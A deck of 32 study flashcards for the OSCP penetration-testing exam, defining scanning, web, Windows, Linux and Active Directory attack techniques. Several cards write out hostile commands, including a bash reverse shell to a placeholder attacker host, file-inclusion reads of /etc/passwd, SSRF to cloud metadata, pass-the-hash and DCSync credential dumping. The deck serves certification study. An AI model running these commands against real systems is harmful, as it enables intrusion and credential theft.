OSCP flashcards

32 cards. Read the term and the definition here. The deck at the top of this page is optional.

TCP SYN scan

An Nmap scan that sends SYN packets and never completes the TCP handshake; it requires raw socket privileges and is faster and stealthier than a connect scan.

DNS zone transfer

A DNS AXFR query that returns all records in a zone when the server allows transfers from the requester; dig axfr @nameserver domain performs it.

SMB anonymous listing

Using smbclient -L //HOST -N to list shares without credentials; enum4linux-ng and rpcclient additionally enumerate users, groups, and password policy.

SNMP community string

A shared password used by SNMPv1 and SNMPv2c; default values such as public or private allow reading or writing device data with snmpwalk.

CVSS base score

A 0.0-10.0 rating of a vulnerability's intrinsic exploitability and impact, excluding environmental and temporal factors; scores of 9.0 or higher are critical.

Nmap vuln NSE scripts

Scripts run with nmap --script vuln that check for known weaknesses; a positive result needs manual confirmation because version checks can produce false positives.

SearchSploit

A local command-line search tool for the Exploit-DB archive; searchsploit TERM lists matching exploits and -w prints the corresponding Exploit-DB URL.

SQLi UNION extraction

An SQL injection technique that appends UNION SELECT to return data from other tables; the attacker first matches the original query's column count using ORDER BY or NULL values.

Local file inclusion

A web vulnerability where user input controls a file path, allowing reads of ../../etc/passwd or PHP wrappers such as php://filter/convert.base64-encode/resource=index.php.

Remote file inclusion

A web flaw that includes a remote file chosen by user input; PHP execution requires allow_url_include=On, and otherwise the file may still be fetched.

Server-side request forgery

A vulnerability that makes a server fetch an attacker-chosen URL, enabling access to internal services, localhost, or cloud metadata at 169.254.169.254.

Responder poisoning

A tool and technique that poisons LLMNR, NBT-NS, and mDNS queries on a local network to capture NetNTLMv1 or NetNTLMv2 challenge-response hashes from Windows hosts.

HTA payload

An HTML Application run by mshta.exe; a malicious .hta file can execute script and download a payload when a user opens it.

NTLM relay

Forwarding captured NetNTLM authentication to another service; it succeeds when SMB signing is disabled and the captured user has privileges on the target.

Pass-the-hash

Authenticating with a captured NTLM hash instead of the plaintext password; Impacket psexec.py accepts -hashes LM:NT and requires administrative rights on the target.

Hashcat NTLM mode

Hashcat -m 1000 cracks NTLM hashes; -m 0 is MD5, -m 1800 is sha512crypt, and -m 13100 is Kerberoast TGS material.

Hydra password attack

A password-testing tool; hydra -l USER -P WORDLIST ssh://TARGET tests one username, while -L supplies a user list.

Bash reverse shell

A target-initiated shell using bash -i >& /dev/tcp/ATTACKER/PORT 0>&1; the attacker catches it with a listener such as nc -lvnp PORT.

sudo -l

Lists commands the current user may run through sudo; each allowed binary should be checked against GTFOBins for a shell escape such as :!sh from vi.

SUID binary discovery

A file with the set-user-ID bit runs with its owner's privileges; find / -perm -4000 -type f 2>/dev/null lists candidates for GTFOBins review.

Linux capabilities

Per-binary privilege sets that can grant root-like abilities; getcap -r / 2>/dev/null finds files, and cap_setuid on a binary can yield a root shell.

NFS no_root_squash

An NFS export option that lets root on a client remain root on the mount, allowing creation of a SUID root binary that executes on the server.

SeImpersonatePrivilege

A Windows token privilege that allows impersonating another user; it is commonly abused with JuicyPotato, PrintSpoofer, or GodPotato to gain SYSTEM.

Unquoted service path

A service whose binary path contains spaces without quotes; Windows may execute an attacker-planted executable from an earlier path component.

AlwaysInstallElevated

A Windows policy that lets low-privileged users install MSI packages with SYSTEM rights when both HKLM and HKCU policy values are set to 1.

SSH local port forward

ssh -L 8080:target:80 user@pivot forwards local port 8080 through the SSH host to port 80 on target.

Proxychains

A tool that forces TCP connections from other programs through a proxy such as SOCKS5; configure /etc/proxychains4.conf and prefix commands with proxychains4.

netsh portproxy

A Windows command that forwards a listening port to another address: netsh interface portproxy add v4tov4 listenport=8080 connectport=80 connectaddress=TARGET.

AS-REP roasting

Requesting an AS-REP for a domain account with Kerberos preauthentication disabled, then cracking the encrypted portion offline to recover the account password.

DCSync

Abusing Directory Replication Service permissions to request password hashes from a domain controller; Impacket secretsdump.py -just-dc performs it with sufficient rights.

Golden ticket

A forged Kerberos TGT signed with the krbtgt account hash; it grants domain-wide access until the krbtgt password is changed twice.

BloodHound

An Active Directory attack-path tool; SharpHound collects users, groups, sessions, and ACL relationships, and BloodHound graphs paths to high-value targets.